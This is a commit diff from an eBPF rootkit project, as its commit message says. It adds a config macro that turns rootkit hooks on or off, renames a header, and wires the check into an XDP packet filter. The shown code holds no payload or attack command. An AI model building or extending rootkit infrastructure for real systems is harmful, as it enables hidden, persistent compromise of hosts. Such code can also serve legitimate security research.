Included a global config struct for controlling which hooks and functions of the rootkit should be active. Still work to be done in the bpf side

src/ebpf/include/utils/modules.h

@@ -0,0 +1,14 @@
+#ifndef __MODULES_H
+#define __MODULES_H
+
+#define RETURN_VALUE_MODULE_NONACTIVE -1
+//Access user-defined config
+#include "../../user/include/modules/module_manager.h"
+
+
+#define CHECK_MODULE_ACTIVE(module, func)\
+    if( module_config. module##_module.all != ON){\
+        return RETURN_VALUE_MODULE_NONACTIVE;\
+    }
+
+#endif

src/ebpf/include/utils/strings.h

@@ -1,5 +1,5 @@
-#ifndef __COMMON_UTILS_H__
-#define __COMMON_UTILS_H__
+#ifndef __UTILS_STRINGS_H__
+#define __UTILS_STRINGS_H__
 
 /**
 * Compares two strings.

src/ebpf/xdp_filter.bpf.c

@@ -29,10 +29,11 @@
 #include "packet/packet_manager.h"
 #include "packet/protocol/tcp_helper.h"
 #include "xdp/xdp_helper.h"
-#include "common/common_utils.h"
+#include "utils/strings.h"
 
 //BPF modules to load
-#include "include/bpf/fs.h"
+#include "include/utils/modules.h" //Config
+#include "include/bpf/sched.h"
 
 char LICENSE[] SEC("license") = "Dual BSD/GPL";
 
@@ -45,8 +46,8 @@ struct eth_hdr {
 
 
 SEC("xdp_prog")
-int xdp_receive(struct xdp_md *ctx)
-{
+int xdp_receive(struct xdp_md *ctx){
+    CHECK_MODULE_ACTIVE(xdp, __FUNCTION__);
     //bpf_printk("BPF triggered\n");
     
     void *data_end = (void *)(long)ctx->data_end;